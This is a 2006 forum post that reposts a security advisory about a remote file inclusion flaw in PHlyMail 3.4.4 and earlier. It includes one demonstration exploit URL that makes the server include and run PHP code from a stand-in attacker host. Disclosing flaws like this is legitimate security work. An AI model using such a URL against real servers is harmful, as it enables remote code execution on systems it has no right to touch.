PHlyMail Include File Bug in '_PM_['path']['handler']'

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PHlyMail Include File Bug in '_PM_['path']['handler']'

[Question] PHlyMail Include File Bug in '_PM_['path']['handler']'	22/08/2006 23:56:31 (+0700) \| #1 \| 16990

LeonHart
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PHlyMail Include File Bug in '_PM_['path']['handler']' Parameter Lets Remote Users Execute Arbitrary

Version(s): 3.4.4 and prior versions
Description: A vulnerability was reported in PHlyMail. A remote user can include and execute arbitrary code on the target system.

The 'handlers/email/mod.listmail.php' script does not properly validate user-supplied input in the '_PM_['path']['handler']' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

+http://[target]/[phlymail_path]/handlers/email/mod.listmail.php?_PM_[path][handler]=[http://www.myevilsite.com/evil_scripts.txt]

Kacper (a.k.a Rahim) discovered this vulnerability.
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

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